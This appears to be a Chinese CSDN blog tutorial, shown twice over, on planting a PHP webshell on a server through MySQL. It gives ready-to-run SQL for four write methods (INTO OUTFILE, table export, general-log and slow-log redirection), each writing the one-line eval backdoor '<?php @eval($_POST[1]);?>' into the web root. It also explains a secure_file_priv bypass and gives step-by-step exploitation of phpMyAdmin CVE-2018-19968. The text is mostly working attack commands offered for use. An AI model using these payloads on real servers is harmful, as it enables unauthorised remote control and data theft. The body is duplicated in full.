php写入文件 lt,MYSQL写入Webshell

本文详细介绍了通过MySQL数据库写入Webshell的四种方法,包括使用 outfile、将shell写入表中、开启全局日志以及利用慢查询日志。每种方法都提供了具体的SQL语句示例,并解释了可能遇到的问题及其解决方案,如secure_file_priv参数的限制。此外,还提到了CVE-2018-19968漏洞利用方式,涉及phpMyAdmin的版本范围及利用步骤。
摘要由CSDN通过智能技术生成

当我们通过测试发现SQL注入,或拿到像phpMyAdmin之类的web数据库可视化管理工具,并想要进行下一步渗透的时候,可通过数据库写入webshell到目标服务器上,利用webshell管理工具控制目标服务器。下面将讲述几个通过MySQL数据库写入webshell的方法,以拿到phpMyAdmin为例。

-01-

通过outfile写入shell

利用条件:

1、root权限2、网站的绝对路径且具有写入权限

执行如下语句写入shell:

select '<?php @eval($_POST[1]);?>' into outfile 'E:/phpStudy2018/PHPTutorial/WWW/shell.php'

![]()

使用蚁剑进行连接:

![]()

在写入的时候可能会出现如下错误:

![]()

这是由于在高版本的MySQL添加了个叫secure_file_priv的参数,导致我们无法导出文件,在后面会讲解如何绕过secure_file_priv,前一部分假设具有导出权限

-02-

将shell写入表中

利用条件:

1、root权限2、网站的绝对路径且具有写入权限

执行如下语句写入shell:

将shell插入一个表中insert into sxss(comment) values ('<?php @eval($_POST[1]);?>');查询该数据表,将结果导出文件select comment from sxss into outfile 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';

![]()

使用蚁剑进行连接:

![]()

-03-

开启全局日志写入shell

利用条件:

1、root权限2、网站的绝对路径且具有写入权限

执行如下语句写入shell:

查看全局日志配置show variables like '%general%';开启全局配置set global general_log = on;将日志文件设置成服务器下的木马文件set global general_log_file = 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';然后执行sql语句,mysql会将我没执行的语句记录到日志文件(上一步修改后的文件)中select '<?php @eval($_POST[1]);?>';

▼ 查看全局配置▼

![]()

▼ 开启全局日志 ▼

![]()

▼ 修改日志文件▼

![]()

▼ 执行sql语句写入日志▼

![]()

▼ 日志中的内容▼

![]()

使用蚁剑进行连接:

![]()

-04-

慢查询日志写入shell

在实际写webshell的时候,我们经常会遭受到secure_file_priv的阻拦,secure_file_priv这个配置参数用来限制load data、outfile、load_file()的使用,其参数值有以下三种:

1、NULL:表示不允许导入导出

2、目录地址,如/tmp/:表示只能对指定目录进行导入导出,如/tmp/

3、空,即没有具体值:表示不对导入导出做限制

可使用如下命令来查看secure_file_priv的值:

show global variables like '%secure%';

![]()

高版本的mysql中默认为NULL,也就是不让导入导出

解决办法

在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv=

在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv=

使用慢查询日志绕过此限制

利用条件:

1、root权限2、网站的绝对路径且具有写入权限执行如下语句写入shell:

查看慢查询日志开启情况show variables like '%slow_query_log%';开启慢查询日志set global slow_query_log=1;修改日志文件存储的绝对路径set global slow_query_log_file='E:/phpStudy2018/PHPTutorial/WWW/shell.php';向日志文件中写入shellselect '<?php @eval($_POST[1]);?>' or sleep(11);

▼ 查看慢查询日志开启情况▼

![]()

▼ 开启慢查询日志▼

![]()

▼ 设置慢查询日志存储文件▼

![]()

▼ 执行查询语句写入日志▼

![]()

可以看到日志文件中的内容:

![]()

使用蚁剑连接:

![]()

使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:

show global variables like '%long_query_time%';

![]()

-05-

CVE-2018-19968文件包含

受影响的phpMyAdmin版本:

4.8.0 ~ 4.8.3

首先登录管理后台

执行如下语句创建数据库,并将shell写入数据表:

CREATE DATABASE foo;CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT "<?php file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>";

![]()

然后访问http://target/chk_rel.php?fixall_pmadb=1&db=foo

在数据库foo中生成配置表:

![]()

来到foo数据库,执行如下语句:

INSERT INTO pma__column_info SELECT '1', 'foo', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '../../../../../../../../tmp/sess_***','plop';

将sess_***中的***替换成cookie中phpMyAdmin对应的值(可按f12调出开发者工具,在请求头中拿到):

![]()

![]()

访问:

访问这条连接后将会在网站根目录下生成一个shell.php的webshell,使用蚁剑进行连接

![]()

当我们通过测试发现SQL注入,或拿到像phpMyAdmin之类的web数据库可视化管理工具,并想要进行下一步渗透的时候,可通过数据库写入webshell到目标服务器上,利用webshell管理工具控制目标服务器。下面将讲述几个通过MySQL数据库写入webshell的方法,以拿到phpMyAdmin为例。

-01-

通过outfile写入shell

利用条件:

1、root权限2、网站的绝对路径且具有写入权限执行如下语句写入shell:

select '<?php @eval($_POST[1]);?>' into outfile 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';

使用蚁剑进行连接:

在写入的时候可能会出现如下错误:

这是由于在高版本的MySQL添加了个叫secure_file_priv的参数,导致我们无法导出文件,在后面会讲解如何绕过secure_file_priv,前一部分假设具有导出权限

-02-

将shell写入表中

利用条件:

1、root权限2、网站的绝对路径且具有写入权限执行如下语句写入shell:

将shell插入一个表中insert into sxss(comment) values ('<?php @eval($_POST[1]);?>');查询该数据表,将结果导出文件select comment from sxss into outfile 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';

使用蚁剑进行连接:

-03-

开启全局日志写入shell

利用条件:

1、root权限2、网站的绝对路径且具有写入权限执行如下语句写入shell:

查看全局日志配置show variables like '%general%';开启全局配置set global general_log = on;将日志文件设置成服务器下的木马文件set global general_log_file = 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';然后执行sql语句,mysql会将我没执行的语句记录到日志文件(上一步修改后的文件)中select '<?php @eval($_POST[1]);?>';▼ 查看全局配置▼

▼ 开启全局日志 ▼

▼ 修改日志文件▼

▼ 执行sql语句写入日志▼

▼ 日志中的内容▼

使用蚁剑进行连接:

-04-

慢查询日志写入shell

在实际写webshell的时候,我们经常会遭受到secure_file_priv的阻拦,secure_file_priv这个配置参数用来限制load data、outfile、load_file()的使用,其参数值有以下三种:

1、NULL:表示不允许导入导出

2、目录地址,如/tmp/:表示只能对指定目录进行导入导出,如/tmp/

3、空,即没有具体值:表示不对导入导出做限制

可使用如下命令来查看secure_file_priv的值:

show global variables like '%secure%';

高版本的mysql中默认为NULL,也就是不让导入导出

解决办法

在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv=

在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv=

使用慢查询日志绕过此限制

利用条件:

1、root权限2、网站的绝对路径且具有写入权限执行如下语句写入shell:查看慢查询日志开启情况show variables like '%slow_query_log%';开启慢查询日志set global slow_query_log=1;修改日志文件存储的绝对路径set global slow_query_log_file='E:/phpStudy2018/PHPTutorial/WWW/shell.php';向日志文件中写入shellselect '<?php @eval($_POST[1]);?>' or sleep(11);▼ 查看慢查询日志开启情况▼

▼ 开启慢查询日志▼

▼ 设置慢查询日志存储文件▼

▼ 执行查询语句写入日志▼

可以看到日志文件中的内容:

使用蚁剑连接:

使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:show global variables like '%long_query_time%';

-05-

CVE-2018-19968文件包含

受影响的phpMyAdmin版本:

4.8.0 ~ 4.8.3首先登录管理后台

执行如下语句创建数据库,并将shell写入数据表:

CREATE DATABASE foo;CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT "<?php file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>";

然后访问http://target/chk_rel.php?fixall_pmadb=1&db=foo

在数据库foo中生成配置表:

来到foo数据库,执行如下语句:

INSERT INTO pma__column_info SELECT '1', 'foo', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '../../../../../../../../tmp/sess_***','plop';将sess_***中的***替换成cookie中phpMyAdmin对应的值(可按f12调出开发者工具,在请求头中拿到):

访问这条连接后将会在网站根目录下生成一个shell.php的webshell,使用蚁剑进行连接:

————————————————版权声明:本文为CSDN博主「weixin_39872872」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/weixin\_39872872/article/details/112589789

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值